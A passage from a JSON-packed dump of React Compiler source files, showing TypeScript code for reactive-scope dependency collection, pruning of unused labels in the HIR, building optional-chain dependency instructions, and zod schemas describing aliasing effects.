fn.context.some(\n            context => context.identifier.id === value.place.identifier.id,\n          )\n        ) {\n          temporaries.set(lvalue.identifier.id, {\n            identifier: value.place.identifier,\n            reactive: value.place.reactive,\n            path: [],\n            loc: value.loc,\n          });\n        }\n      } else if (\n        value.kind === 'FunctionExpression' ||\n        value.kind === 'ObjectMethod'\n      ) {\n        collectTemporariesSidemapImpl(\n          value.loweredFunc.func,\n          usedOutsideDeclaringScope,\n          temporaries,\n          innerFnContext ?? {instrId},\n        );\n      }\n    }\n  }\n}\n\nfunction getProperty(\n  object: Place,\n  propertyName: PropertyLiteral,\n  optional: boolean,\n  loc: SourceLocation,\n  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,\n): ReactiveScopeDependency {\n  /*\n   * (1) Get the base object either from the temporary sidemap (e.g. a LoadLocal)\n   * or a deep copy of an existing property dependency.\n   *  Example 1:\n   *    $0 = LoadLocal x\n   *    $1 = PropertyLoad $0.y\n   *  getProperty($0, ...) -> resolvedObject = x, resolvedDependency = null\n   *\n   *  Example 2:\n   *    $0 = LoadLocal x\n   *    $1 = PropertyLoad $0.y\n   *    $2 = PropertyLoad $1.z\n   *  getProperty($1, ...) -> resolvedObject = null, resolvedDependency = x.y\n   *\n   *  Example 3:\n   *    $0 = Call(...)\n   *    $1 = PropertyLoad $0.y\n   *  getProperty($0, ...) -> resolvedObject = null, resolvedDependency = null\n   */\n  const resolvedDependency = temporaries.get(object.identifier.id);\n\n  /**\n   * (2) Push the last PropertyLoad\n   * TODO(mofeiZ): understand optional chaining\n   */\n  let property: ReactiveScopeDependency;\n  if (resolvedDependency == null) {\n    property = {\n      identifier: object.identifier,\n      reactive: object.reactive,\n      path: [{property: propertyName, optional, loc}],\n      loc,\n    };\n  } else {\n    property = {\n      identifier: resolvedDependency.identifier,\n      reactive: resolvedDependency.reactive,\n      path: [\n        ...resolvedDependency.path,\n        {property: propertyName, optional, loc},\n      ],\n      loc,\n    };\n  }\n  return property;\n}\n\ntype Decl = {\n  id: InstructionId;\n  scope: Stack<ReactiveScope>;\n};\n\nexport class DependencyCollectionContext {\n  #declarations: Map<DeclarationId, Decl> = new Map();\n  #reassignments: Map<Identifier, Decl> = new Map();\n\n  #scopes: Stack<ReactiveScope> = empty();\n  // Reactive dependencies used in the current reactive scope.\n  #dependencies: Stack<Array<ReactiveScopeDependency>> = empty();\n  deps: Map<ReactiveScope, Array<ReactiveScopeDependency>> = new Map();\n\n  #temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>;\n  #temporariesUsedOutsideScope: ReadonlySet<DeclarationId>;\n  #processedInstrsInOptional: ReadonlySet<Instruction | Terminal>;\n\n  /**\n   * Tracks the traversal state. See Context.declare for explanation of why this\n   * is needed.\n   */\n  #innerFnContext: {outerInstrId: InstructionId} | null = null;\n\n  constructor(\n    temporariesUsedOutsideScope: ReadonlySet<DeclarationId>,\n    temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,\n    processedInstrsInOptional: ReadonlySet<Instruction | Terminal>,\n  ) {\n    this.#temporariesUsedOutsideScope = temporariesUsedOutsideScope;\n    this.#temporaries = temporaries;\n    this.#processedInstrsInOptional = processedInstrsInOptional;\n  }\n\n  enterScope(scope: ReactiveScope): void {\n    // Set context for new scope\n    this.#dependencies = this.#dependencies.push([]);\n    this.#scopes = this.#scopes.push(scope);\n  }\n\n  exitScope(scope: ReactiveScope, pruned: boolean): void {\n    // Save dependencies we collected from the exiting scope\n    const scopedDependencies = this.#dependencies.value;\n    CompilerError.invariant(scopedDependencies != null, {\n      reason: '[PropagateScopeDeps]: Unexpected scope mismatch',\n      loc: scope.loc,\n    });\n\n    // Restore context of previous scope\n    this.#scopes = this.#scopes.pop();\n    this.#dependencies = this.#dependencies.pop();\n\n    /*\n     * Collect dependencies we recorded for the exiting scope and propagate\n     * them upward using the same rules as normal dependency collection.\n     * Child scopes may have dependencies on values created within the outer\n     * scope, which necessarily cannot be dependencies of the outer scope.\n     */\n    for (const dep of scopedDependencies) {\n      if (this.#checkValidDependency(dep)) {\n        this.#dependencies.value?.push(dep);\n      }\n    }\n\n    if (!pruned) {\n      this.deps.set(scope, scopedDependencies);\n    }\n  }\n\n  isUsedOutsideDeclaringScope(place: Place): boolean {\n    return this.#temporariesUsedOutsideScope.has(\n      place.identifier.declarationId,\n    );\n  }\n\n  /*\n   * Records where a value was declared, and optionally, the scope where the\n   * value originated from. This is later used to determine if a dependency\n   * should be added to a scope; if the current scope we are visiting is the\n   * same scope where the value originates, it can't be a dependency on itself.\n   *\n   * Note that we do not track declarations or reassignments within inner\n   * functions for the following reasons:\n   *   - inner functions cannot be split by scope boundaries and are guaranteed\n   *     to consume their own declarations\n   *   - reassignments within inner functions are tracked as context variables,\n   *     which already have extended mutable ranges to account for reassignments\n   *   - *most importantly* it's currently simply incorrect to compare inner\n   *     function instruction ids (tracked by `decl`) with outer ones (as stored\n   *     by root identifier mutable ranges).\n   */\n  declare(identifier: Identifier, decl: Decl): void {\n    if (this.#innerFnContext != null) return;\n    if (!this.#declarations.has(identifier.declarationId)) {\n      this.#declarations.set(identifier.declarationId, decl);\n    }\n    this.#reassignments.set(identifier, decl);\n  }\n  hasDeclared(identifier: Identifier): boolean {\n    return this.#declarations.has(identifier.declarationId);\n  }\n\n  // Checks if identifier is a valid dependency in the current scope\n  #checkValidDependency(maybeDependency: ReactiveScopeDependency): boolean {\n    // ref value is not a valid dep\n    if (isRefValueType(maybeDependency.identifier)) {\n      return false;\n    }\n\n    /*\n     * object methods are not deps because they will be codegen'ed back in to\n     * the object literal.\n     */\n    if (isObjectMethodType(maybeDependency.identifier)) {\n      return false;\n    }\n\n    const identifier = maybeDependency.identifier;\n    /*\n     * If this operand is used in a scope, has a dynamic value, and was defined\n     * before this scope, then its a dependency of the scope.\n     */\n    const currentDeclaration =\n      this.#reassignments.get(identifier) ??\n      this.#declarations.get(identifier.declarationId);\n    const currentScope = this.currentScope.value;\n    return (\n      currentScope != null &&\n      currentDeclaration !== undefined &&\n      currentDeclaration.id < currentScope.range.start\n    );\n  }\n\n  #isScopeActive(scope: ReactiveScope): boolean {\n    if (this.#scopes === null) {\n      return false;\n    }\n    return this.#scopes.find(state => state === scope);\n  }\n\n  get currentScope(): Stack<ReactiveScope> {\n    return this.#scopes;\n  }\n\n  visitOperand(place: Place): void {\n    /*\n     * if this operand is a temporary created for a property load, try to resolve it to\n     * the expanded Place. Fall back to using the operand as-is.\n     */\n    this.visitDependency(\n      this.#temporaries.get(place.identifier.id) ?? {\n        identifier: place.identifier,\n        reactive: place.reactive,\n        path: [],\n        loc: place.loc,\n      },\n    );\n  }\n\n  visitProperty(\n    object: Place,\n    property: PropertyLiteral,\n    optional: boolean,\n    loc: SourceLocation,\n  ): void {\n    const nextDependency = getProperty(\n      object,\n      property,\n      optional,\n      loc,\n      this.#temporaries,\n    );\n    this.visitDependency(nextDependency);\n  }\n\n  visitDependency(maybeDependency: ReactiveScopeDependency): void {\n    /*\n     * Any value used after its originally defining scope has concluded must be added as an\n     * output of its defining scope. Regardless of whether its a const or not,\n     * some later code needs access to the value. If the current\n     * scope we are visiting is the same scope where the value originates, it can't be a dependency\n     * on itself.\n     */\n\n    /*\n     * if originalDeclaration is undefined here, then this is not a local var\n     * (all decls e.g. `let x;` should be initialized in BuildHIR)\n     */\n    const originalDeclaration = this.#declarations.get(\n      maybeDependency.identifier.declarationId,\n    );\n    if (\n      originalDeclaration !== undefined &&\n      originalDeclaration.scope.value !== null\n    ) {\n      originalDeclaration.scope.each(scope => {\n        if (\n          !this.#isScopeActive(scope) &&\n          !Iterable_some(\n            scope.declarations.values(),\n            decl =>\n              decl.identifier.declarationId ===\n              maybeDependency.identifier.declarationId,\n          )\n        ) {\n          scope.declarations.set(maybeDependency.identifier.id, {\n            identifier: maybeDependency.identifier,\n            scope: originalDeclaration.scope.value!,\n          });\n        }\n      });\n    }\n\n    // ref.current access is not a valid dep\n    if (\n      isUseRefType(maybeDependency.identifier) &&\n      maybeDependency.path.at(0)?.property === 'current'\n    ) {\n      maybeDependency = {\n        identifier: maybeDependency.identifier,\n        reactive: maybeDependency.reactive,\n        path: [],\n        loc: maybeDependency.loc,\n      };\n    }\n    if (this.#checkValidDependency(maybeDependency)) {\n      this.#dependencies.value!.push(maybeDependency);\n    }\n  }\n\n  /*\n   * Record a variable that is declared in some other scope and that is being reassigned in the\n   * current one as a {@link ReactiveScope.reassignments}\n   */\n  visitReassignment(place: Place): void {\n    const currentScope = this.currentScope.value;\n    if (\n      currentScope != null &&\n      !Iterable_some(\n        currentScope.reassignments,\n        identifier =>\n          identifier.declarationId === place.identifier.declarationId,\n      ) &&\n      this.#checkValidDependency({\n        identifier: place.identifier,\n        reactive: place.reactive,\n        path: [],\n        loc: place.loc,\n      })\n    ) {\n      currentScope.reassignments.add(place.identifier);\n    }\n  }\n  enterInnerFn<T>(\n    innerFn: TInstruction<FunctionExpression> | TInstruction<ObjectMethod>,\n    cb: () => T,\n  ): T {\n    const prevContext = this.#innerFnContext;\n    this.#innerFnContext = this.#innerFnContext ?? {outerInstrId: innerFn.id};\n    const result = cb();\n    this.#innerFnContext = prevContext;\n    return result;\n  }\n\n  /**\n   * Skip dependencies that are subexpressions of other dependencies. e.g. if a\n   * dependency is tracked in the temporaries sidemap, it can be added at\n   * site-of-use\n   */\n  isDeferredDependency(\n    instr:\n      | {kind: HIRValue.Instruction; value: Instruction}\n      | {kind: HIRValue.Terminal; value: Terminal},\n  ): boolean {\n    return (\n      this.#processedInstrsInOptional.has(instr.value) ||\n      (instr.kind === HIRValue.Instruction &&\n        this.#temporaries.has(instr.value.lvalue.identifier.id))\n    );\n  }\n}\nenum HIRValue {\n  Instruction = 1,\n  Terminal,\n}\n\nexport function handleInstruction(\n  instr: Instruction,\n  context: DependencyCollectionContext,\n): void {\n  const {id, value, lvalue} = instr;\n  context.declare(lvalue.identifier, {\n    id,\n    scope: context.currentScope,\n  });\n  if (\n    context.isDeferredDependency({kind: HIRValue.Instruction, value: instr})\n  ) {\n    return;\n  }\n  if (value.kind === 'PropertyLoad') {\n    context.visitProperty(value.object, value.property, false, value.loc);\n  } else if (value.kind === 'StoreLocal') {\n    context.visitOperand(value.value);\n    if (value.lvalue.kind === InstructionKind.Reassign) {\n      context.visitReassignment(value.lvalue.place);\n    }\n    context.declare(value.lvalue.place.identifier, {\n      id,\n      scope: context.currentScope,\n    });\n  } else if (value.kind === 'DeclareLocal' || value.kind === 'DeclareContext') {\n    /*\n     * Some variables may be declared and never initialized. We need to retain\n     * (and hoist) these declarations if they are included in a reactive scope.\n     * One approach is to simply add all `DeclareLocal`s as scope declarations.\n     *\n     * Context variables with hoisted declarations only become live after their\n     * first assignment. We only declare real DeclareLocal / DeclareContext\n     * instructions (not hoisted ones) to avoid generating dependencies on\n     * hoisted declarations.\n     */\n    if (convertHoistedLValueKind(value.lvalue.kind) === null) {\n      context.declare(value.lvalue.place.identifier, {\n        id,\n        scope: context.currentScope,\n      });\n    }\n  } else if (value.kind === 'Destructure') {\n    context.visitOperand(value.value);\n    for (const place of eachPatternOperand(value.lvalue.pattern)) {\n      if (value.lvalue.kind === InstructionKind.Reassign) {\n        context.visitReassignment(place);\n      }\n      context.declare(place.identifier, {\n        id,\n        scope: context.currentScope,\n      });\n    }\n  } else if (value.kind === 'StoreContext') {\n    /**\n     * Some StoreContext variables have hoisted declarations. If we're storing\n     * to a context variable that hasn't yet been declared, the StoreContext is\n     * the declaration.\n     * (see corresponding logic in PruneHoistedContext)\n     */\n    if (\n      !context.hasDeclared(value.lvalue.place.identifier) ||\n      value.lvalue.kind !== InstructionKind.Reassign\n    ) {\n      context.declare(value.lvalue.place.identifier, {\n        id,\n        scope: context.currentScope,\n      });\n    }\n\n    for (const operand of eachInstructionValueOperand(value)) {\n      context.visitOperand(operand);\n    }\n  } else {\n    for (const operand of eachInstructionValueOperand(value)) {\n      context.visitOperand(operand);\n    }\n  }\n}\n\nfunction collectDependencies(\n  fn: HIRFunction,\n  usedOutsideDeclaringScope: ReadonlySet<DeclarationId>,\n  temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,\n  processedInstrsInOptional: ReadonlySet<Instruction | Terminal>,\n): Map<ReactiveScope, Array<ReactiveScopeDependency>> {\n  const context = new DependencyCollectionContext(\n    usedOutsideDeclaringScope,\n    temporaries,\n    processedInstrsInOptional,\n  );\n\n  for (const param of fn.params) {\n    if (param.kind === 'Identifier') {\n      context.declare(param.identifier, {\n        id: makeInstructionId(0),\n        scope: empty(),\n      });\n    } else {\n      context.declare(param.place.identifier, {\n        id: makeInstructionId(0),\n        scope: empty(),\n      });\n    }\n  }\n\n  const scopeTraversal = new ScopeBlockTraversal();\n\n  const handleFunction = (fn: HIRFunction): void => {\n    for (const [blockId, block] of fn.body.blocks) {\n      scopeTraversal.recordScopes(block);\n      const scopeBlockInfo = scopeTraversal.blockInfos.get(blockId);\n      if (scopeBlockInfo?.kind === 'begin') {\n        context.enterScope(scopeBlockInfo.scope);\n      } else if (scopeBlockInfo?.kind === 'end') {\n        context.exitScope(scopeBlockInfo.scope, scopeBlockInfo.pruned);\n      }\n      // Record referenced optional chains in phis\n      for (const phi of block.phis) {\n        for (const operand of phi.operands) {\n          const maybeOptionalChain = temporaries.get(operand[1].identifier.id);\n          if (maybeOptionalChain) {\n            context.visitDependency(maybeOptionalChain);\n          }\n        }\n      }\n      for (const instr of block.instructions) {\n        if (\n          instr.value.kind === 'FunctionExpression' ||\n          instr.value.kind === 'ObjectMethod'\n        ) {\n          context.declare(instr.lvalue.identifier, {\n            id: instr.id,\n            scope: context.currentScope,\n          });\n          /**\n           * Recursively visit the inner function to extract dependencies there\n           */\n          const innerFn = instr.value.loweredFunc.func;\n          context.enterInnerFn(\n            instr as\n              | TInstruction<FunctionExpression>\n              | TInstruction<ObjectMethod>,\n            () => {\n              handleFunction(innerFn);\n            },\n          );\n        } else {\n          handleInstruction(instr, context);\n        }\n      }\n\n      if (\n        !context.isDeferredDependency({\n          kind: HIRValue.Terminal,\n          value: block.terminal,\n        })\n      ) {\n        for (const place of eachTerminalOperand(block.terminal)) {\n          context.visitOperand(place);\n        }\n      }\n    }\n  };\n\n  handleFunction(fn);\n  return context.deps;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/PruneUnusedLabelsHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {BlockId, GotoVariant, HIRFunction} from './HIR';\n\nexport function pruneUnusedLabelsHIR(fn: HIRFunction): void {\n  const merged: Array<{\n    label: BlockId;\n    next: BlockId;\n    fallthrough: BlockId;\n  }> = [];\n  const rewrites: Map<BlockId, BlockId> = new Map();\n  for (const [blockId, block] of fn.body.blocks) {\n    const terminal = block.terminal;\n    if (terminal.kind === 'label') {\n      const {block: nextId, fallthrough: fallthroughId} = terminal;\n      const next = fn.body.blocks.get(nextId)!;\n      const fallthrough = fn.body.blocks.get(fallthroughId)!;\n      if (\n        next.terminal.kind === 'goto' &&\n        next.terminal.variant === GotoVariant.Break &&\n        next.terminal.block === fallthroughId\n      ) {\n        if (next.kind === 'block' && fallthrough.kind === 'block') {\n          // Only merge normal block types\n          merged.push({\n            label: blockId,\n            next: nextId,\n            fallthrough: fallthroughId,\n          });\n        }\n      }\n    }\n  }\n\n  for (const {\n    label: originalLabelId,\n    next: nextId,\n    fallthrough: fallthroughId,\n  } of merged) {\n    const labelId = rewrites.get(originalLabelId) ?? originalLabelId;\n    const label = fn.body.blocks.get(labelId)!;\n    const next = fn.body.blocks.get(nextId)!;\n    const fallthrough = fn.body.blocks.get(fallthroughId)!;\n\n    // Merge block and fallthrough\n    CompilerError.invariant(\n      next.phis.size === 0 && fallthrough.phis.size === 0,\n      {\n        reason: 'Unexpected phis when merging label blocks',\n        loc: label.terminal.loc,\n      },\n    );\n\n    CompilerError.invariant(\n      next.preds.size === 1 &&\n        fallthrough.preds.size === 1 &&\n        next.preds.has(originalLabelId) &&\n        fallthrough.preds.has(nextId),\n      {\n        reason: 'Unexpected block predecessors when merging label blocks',\n        loc: label.terminal.loc,\n      },\n    );\n\n    label.instructions.push(...next.instructions, ...fallthrough.instructions);\n    label.terminal = fallthrough.terminal;\n    fn.body.blocks.delete(nextId);\n    fn.body.blocks.delete(fallthroughId);\n    rewrites.set(fallthroughId, labelId);\n  }\n\n  for (const [_, block] of fn.body.blocks) {\n    for (const pred of block.preds) {\n      const rewritten = rewrites.get(pred);\n      if (rewritten != null) {\n        block.preds.delete(pred);\n        block.preds.add(rewritten);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/ScopeDependencyUtils.ts",
    "content": "import {\n  Place,\n  ReactiveScopeDependency,\n  Identifier,\n  makeInstructionId,\n  InstructionKind,\n  GeneratedSource,\n  BlockId,\n  makeTemporaryIdentifier,\n  Effect,\n  GotoVariant,\n  HIR,\n} from './HIR';\nimport {CompilerError} from '../CompilerError';\nimport {Environment} from './Environment';\nimport HIRBuilder from './HIRBuilder';\nimport {lowerValueToTemporary} from './BuildHIR';\n\ntype DependencyInstructions = {\n  place: Place;\n  value: HIR;\n  exitBlockId: BlockId;\n};\n\nexport function buildDependencyInstructions(\n  dep: ReactiveScopeDependency,\n  env: Environment,\n): DependencyInstructions {\n  const builder = new HIRBuilder(env, {\n    entryBlockKind: 'value',\n  });\n  let dependencyValue: Identifier;\n  if (dep.path.every(path => !path.optional)) {\n    dependencyValue = writeNonOptionalDependency(dep, env, builder);\n  } else {\n    dependencyValue = writeOptionalDependency(dep, builder, null);\n  }\n\n  const exitBlockId = builder.terminate(\n    {\n      kind: 'unsupported',\n      loc: GeneratedSource,\n      id: makeInstructionId(0),\n    },\n    null,\n  );\n  return {\n    place: {\n      kind: 'Identifier',\n      identifier: dependencyValue,\n      effect: Effect.Freeze,\n      reactive: dep.reactive,\n      loc: GeneratedSource,\n    },\n    value: builder.build(),\n    exitBlockId,\n  };\n}\n\n/**\n * Write instructions for a simple dependency (without optional chains)\n */\nfunction writeNonOptionalDependency(\n  dep: ReactiveScopeDependency,\n  env: Environment,\n  builder: HIRBuilder,\n): Identifier {\n  const loc = dep.identifier.loc;\n  let curr: Identifier = makeTemporaryIdentifier(env.nextIdentifierId, loc);\n  builder.push({\n    lvalue: {\n      identifier: curr,\n      kind: 'Identifier',\n      effect: Effect.Mutate,\n      reactive: dep.reactive,\n      loc,\n    },\n    value: {\n      kind: 'LoadLocal',\n      place: {\n        identifier: dep.identifier,\n        kind: 'Identifier',\n        effect: Effect.Freeze,\n        reactive: dep.reactive,\n        loc,\n      },\n      loc,\n    },\n    id: makeInstructionId(1),\n    loc: loc,\n    effects: null,\n  });\n\n  /**\n   * Iteratively build up dependency instructions by reading from the last written\n   * instruction.\n   */\n  for (const path of dep.path) {\n    const next = makeTemporaryIdentifier(env.nextIdentifierId, loc);\n    builder.push({\n      lvalue: {\n        identifier: next,\n        kind: 'Identifier',\n        effect: Effect.Mutate,\n        reactive: dep.reactive,\n        loc,\n      },\n      value: {\n        kind: 'PropertyLoad',\n        object: {\n          identifier: curr,\n          kind: 'Identifier',\n          effect: Effect.Freeze,\n          reactive: dep.reactive,\n          loc,\n        },\n        property: path.property,\n        loc,\n      },\n      id: makeInstructionId(1),\n      loc: loc,\n      effects: null,\n    });\n    curr = next;\n  }\n  return curr;\n}\n\n/**\n * Write a dependency into optional blocks.\n *\n * e.g. `a.b?.c.d` is written to an optional block that tests `a.b` and\n * conditionally evaluates `c.d`.\n */\nfunction writeOptionalDependency(\n  dep: ReactiveScopeDependency,\n  builder: HIRBuilder,\n  parentAlternate: BlockId | null,\n): Identifier {\n  const env = builder.environment;\n  /**\n   * Reserve an identifier which will be used to store the result of this\n   * dependency.\n   */\n  const dependencyValue: Place = {\n    kind: 'Identifier',\n    identifier: makeTemporaryIdentifier(env.nextIdentifierId, GeneratedSource),\n    effect: Effect.Mutate,\n    reactive: dep.reactive,\n    loc: GeneratedSource,\n  };\n\n  /**\n   * Reserve a block which is the fallthrough (and transitive successor) of this\n   * optional chain.\n   */\n  const continuationBlock = builder.reserve(builder.currentBlockKind());\n  let alternate;\n  if (parentAlternate != null) {\n    alternate = parentAlternate;\n  } else {\n    /**\n     * If an outermost alternate block has not been reserved, write one\n     *\n     * $N = Primitive undefined\n     * $M = StoreLocal $OptionalResult = $N\n     * goto fallthrough\n     */\n    alternate = builder.enter('value', () => {\n      const temp = lowerValueToTemporary(builder, {\n        kind: 'Primitive',\n        value: undefined,\n        loc: GeneratedSource,\n      });\n      lowerValueToTemporary(builder, {\n        kind: 'StoreLocal',\n        lvalue: {kind: InstructionKind.Const, place: {...dependencyValue}},\n        value: {...temp},\n        type: null,\n        loc: GeneratedSource,\n      });\n      return {\n        kind: 'goto',\n        variant: GotoVariant.Break,\n        block: continuationBlock.id,\n        id: makeInstructionId(0),\n        loc: GeneratedSource,\n      };\n    });\n  }\n\n  // Reserve the consequent block, which is the successor of the test block\n  const consequent = builder.reserve('value');\n\n  let testIdentifier: Identifier | null = null;\n  const testBlock = builder.enter('value', () => {\n    const testDependency = {\n      ...dep,\n      path: dep.path.slice(0, dep.path.length - 1),\n    };\n    const firstOptional = dep.path.findIndex(path => path.optional);\n    CompilerError.invariant(firstOptional !== -1, {\n      reason:\n        '[ScopeDependencyUtils] Internal invariant broken: expected optional path',\n      loc: dep.identifier.loc,\n    });\n    if (firstOptional === dep.path.length - 1) {\n      // Base case: the test block is simple\n      testIdentifier = writeNonOptionalDependency(testDependency, env, builder);\n    } else {\n      // Otherwise, the test block is a nested optional chain\n      testIdentifier = writeOptionalDependency(\n        testDependency,\n        builder,\n        alternate,\n      );\n    }\n\n    return {\n      kind: 'branch',\n      test: {\n        identifier: testIdentifier,\n        effect: Effect.Freeze,\n        kind: 'Identifier',\n        loc: GeneratedSource,\n        reactive: dep.reactive,\n      },\n      consequent: consequent.id,\n      alternate,\n      id: makeInstructionId(0),\n      loc: GeneratedSource,\n      fallthrough: continuationBlock.id,\n    };\n  });\n\n  builder.enterReserved(consequent, () => {\n    CompilerError.invariant(testIdentifier !== null, {\n      reason: 'Satisfy type checker',\n      loc: GeneratedSource,\n    });\n\n    lowerValueToTemporary(builder, {\n      kind: 'StoreLocal',\n      lvalue: {kind: InstructionKind.Const, place: {...dependencyValue}},\n      value: lowerValueToTemporary(builder, {\n        kind: 'PropertyLoad',\n        object: {\n          identifier: testIdentifier,\n          kind: 'Identifier',\n          effect: Effect.Freeze,\n          reactive: dep.reactive,\n          loc: GeneratedSource,\n        },\n        property: dep.path.at(-1)!.property,\n        loc: GeneratedSource,\n      }),\n      type: null,\n      loc: GeneratedSource,\n    });\n    return {\n      kind: 'goto',\n      variant: GotoVariant.Break,\n      block: continuationBlock.id,\n      id: makeInstructionId(0),\n      loc: GeneratedSource,\n    };\n  });\n  builder.terminateWithContinuation(\n    {\n      kind: 'optional',\n      optional: dep.path.at(-1)!.optional,\n      test: testBlock,\n      fallthrough: continuationBlock.id,\n      id: makeInstructionId(0),\n      loc: GeneratedSource,\n    },\n    continuationBlock,\n  );\n\n  return dependencyValue.identifier;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/TypeSchema.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {isValidIdentifier} from '@babel/types';\nimport {z} from 'zod/v4';\nimport {Effect, ValueKind} from '..';\nimport {\n  EffectSchema,\n  ValueKindSchema,\n  ValueReason,\n  ValueReasonSchema,\n} from './HIR';\n\nexport type ObjectPropertiesConfig = {[key: string]: TypeConfig};\nexport const ObjectPropertiesSchema: z.ZodType<ObjectPropertiesConfig> = z\n  .record(\n    z.string(),\n    z.lazy(() => TypeSchema),\n  )\n  .refine(record => {\n    return Object.keys(record).every(\n      key => key === '*' || key === 'default' || isValidIdentifier(key),\n    );\n  }, 'Expected all \"object\" property names to be valid identifier, `*` to match any property, of `default` to define a module default export');\n\nexport type ObjectTypeConfig = {\n  kind: 'object';\n  properties: ObjectPropertiesConfig | null;\n};\nexport const ObjectTypeSchema: z.ZodType<ObjectTypeConfig> = z.object({\n  kind: z.literal('object'),\n  properties: ObjectPropertiesSchema.nullable(),\n});\n\nexport const LifetimeIdSchema = z.string().refine(id => id.startsWith('@'), {\n  message: \"Placeholder names must start with '@'\",\n});\n\nexport type FreezeEffectConfig = {\n  kind: 'Freeze';\n  value: string;\n  reason: ValueReason;\n};\n\nexport const FreezeEffectSchema: z.ZodType<FreezeEffectConfig> = z.object({\n  kind: z.literal('Freeze'),\n  value: LifetimeIdSchema,\n  reason: ValueReasonSchema,\n});\n\nexport type MutateEffectConfig = {\n  kind: 'Mutate';\n  value: string;\n};\n\nexport const MutateEffectSchema: z.ZodType<MutateEffectConfig> = z.object({\n  kind: z.literal('Mutate'),\n  value: LifetimeIdSchema,\n});\n\nexport type MutateTransitiveConditionallyConfig = {\n  kind: 'MutateTransitiveConditionally';\n  value: string;\n};\n\nexport const MutateTransitiveConditionallySchema: z.ZodType<MutateTransitiveConditionallyConfig> =\n  z.object({\n    kind: z.literal('MutateTransitiveConditionally'),\n    value: LifetimeIdSchema,\n  });\n\nexport type CreateEffectConfig = {\n  kind: 'Create';\n  into: string;\n  value: ValueKind;\n  reason: ValueReason;\n};\n\nexport const CreateEffectSchema: z.ZodType<CreateEffectConfig> = z.object({\n  kind: z.literal('Create'),\n  into: LifetimeIdSchema,\n  value: ValueKindSchema,\n  reason: ValueReasonSchema,\n});\n\nexport type AssignEffectConfig = {\n  kind: 'Assign';\n  from: string;\n  into: string;\n};\n\nexport const AssignEffectSchema: z.ZodType<AssignEffectConfig> = z.object({\n  kind: z.literal('Assign'),\n  from: LifetimeIdSchema,\n  into: LifetimeIdSchema,\n});\n\nexport type AliasEffectConfig = {\n  kind: 'Alias';\n  from: string;\n  into: string;\n};\n\nexport const AliasEffectSchema: z.ZodType<AliasEffectConfig> = z.object({\n  kind: z.literal('Alias'),\n  from: LifetimeIdSchema,\n  into: LifetimeIdSchema,\n});\n\nexport type ImmutableCaptureEffectConfig = {\n  kind: 'ImmutableCapture';\n  from: string;\n  into: string;\n};\n\nexport const ImmutableCaptureEffectSchema: z.ZodType<ImmutableCaptureEffectConfig> =\n  z.object({\n    kind: z.literal('ImmutableCapture'),\n    from: LifetimeIdSchema,\n    into: LifetimeIdSchema,\n  });\n\nexport type CaptureEffectConfig = {\n  kind: 'Capture';\n  from: string;\n  into: string;\n};\n\nexport const CaptureEffectSchema: z.ZodType<CaptureEffectConfig> = z.object({\n  kind: z.literal('Capture'),\n  from: LifetimeIdSchema,\n  into: LifetimeIdSchema,\n});\n\nexport type CreateFromEffectConfig = {\n  kind: 'CreateFrom';\n  from: string;\n  into: string;\n};\n\nexport const CreateFromEffectSchema: z.ZodType<CreateFromEffectConfig> =\n  z.object({\n    kind: z.literal('CreateFrom'),\n    from: LifetimeIdSchema,\n    into: LifetimeIdSchema,\n  });\n\nexport type ApplyArgConfig =\n  | string\n  | {kind: 'Spread'; place: string}\n  | {kind: 'Hole'};\n\nexport const ApplyArgSchema: z.ZodType<ApplyArgConfig> = z.union([\n  LifetimeIdSchema,\n  z.object({\n    kind: z.literal('Spread'),\n    place: LifetimeIdSchema,\n  }),\n  z.object({\n    kind: z.literal('Hole'),\n  }),\n]);\n\nexport type ApplyEffectConfig = {\n  kind: 'Apply';\n  receiver: string;\n  function: string;\n  mutatesFunction: boolean;\n  args: Array<ApplyArgConfig>;\n  into: string;\n};\n\nexport const ApplyEffectSchema: z.ZodType<ApplyEffectConfig> = z.object({\n  kind: z.literal('Apply'),\n  receiver: LifetimeIdSchema,\n  function: LifetimeIdSchema,\n  mutatesFunction: z.boolean(),\n  args: z.array(ApplyArgSchema),\n  into: LifetimeIdSchema,\n});\n\nexport type ImpureEffectConfig = {\n  kind: 'Impure';\n  place: string;\n};\n\nexport const ImpureEffectSchema: z.ZodType<ImpureEffectConfig> = z.object({\n  kind: z.literal('Impure'),\n  place: LifetimeIdSchema,\n});\n\nexport type AliasingEffectConfig =\n  | FreezeEffectConfig\n  | CreateEffectConfig\n  | CreateFromEffectConfig\n  | AssignEffectConfig\n  | AliasEffectConfig\n  | CaptureEffectConfig\n  | ImmutableCaptureEffectConfig\n  | ImpureEffectConfig\n  | MutateEffectConfig\n  | MutateTransitiveConditionallyConfig\n  | ApplyEffectConfig;\n\nexport const AliasingEffectSchema: z.ZodType<AliasingEffectConfig> = z.union([\n  FreezeEffectSchema,\n  CreateEffectSchema,\n  CreateFromEffectSchema,\n  AssignEffectSchema,\n  AliasEffectSchema,\n  CaptureEffectSchema,\n  ImmutableCaptureEffectSchema,\n  ImpureEffectSchema,\n  MutateEffectSchema,\n  MutateTransitiveConditionallySchema,\n  ApplyEffectSchema,\n]);\n\nexport type AliasingSignatureConfig = {\n  receiver: string;\n  params: Array<string>;\n  rest: string | null;\n  returns: string;\n  effects: Array<AliasingEffectConfig>;\n  temporaries: Array<string>;\n};\n\nexport const AliasingSignatureSchema: z.ZodType<AliasingSignatureConfig> =\n  z.object({\n    receiver: LifetimeIdSchema,\n    params: z.array(LifetimeIdSchema),\n    rest: LifetimeIdSchema.nullable(),\n    returns: LifetimeIdSchema,\n    effects: z.array(AliasingEffectSchema),\n    temporaries: z.array(LifetimeIdSchema),\n  });\n\nexport type FunctionTypeConfig = {\n  kind: 'function';\n  positionalParams: Array<Effect>;\n  restParam: Effect | null;\n  